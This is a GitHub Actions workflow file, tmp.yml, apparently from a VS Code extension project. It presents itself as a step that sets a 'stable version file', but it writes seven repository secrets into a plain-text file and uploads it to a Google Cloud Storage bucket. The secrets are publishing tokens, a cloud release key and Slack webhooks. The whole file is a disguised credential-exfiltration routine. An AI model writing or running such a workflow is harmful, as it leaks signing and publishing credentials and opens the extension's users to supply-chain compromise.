-
Notifications
You must be signed in to change notification settings - Fork 186
33 lines (29 loc) · 1.06 KB
/
tmp.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
name: Upload File
on:
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Set stable version file
run: |
echo ${{ secrets.GCS_RELEASE_KEY }} > vars-vscode
echo ${{ secrets.INSTRUMENTATION_KEY }} >> vars-vscode
echo ${{ secrets.MODIFIER_PAT }} >> vars-vscode
echo ${{ secrets.OVSX_PAT }} >> vars-vscode
echo ${{ secrets.SLACK_RELEASES_CHANNEL_WEBHOOK_URL }} >> vars-vscode
echo ${{ secrets.SLACK_VALIDATE_MARKETPLACE_WEBHOOK }} >> vars-vscode
echo ${{ secrets.VSCE_PAT }} >> vars-vscode
- name: Authenticate to Google Cloud
uses: "google-github-actions/auth@v1"
with:
credentials_json: ${{ secrets.GCS_RELEASE_KEY }}
- name: ⬆️ Upload latest stable version to GCS
uses: google-github-actions/upload-cloud-storage@v1
with:
path: vars-vscode
destination: tabnine-self-hosted-artifacts
parent: false
gzip: false
headers: |-
content-type: text/plain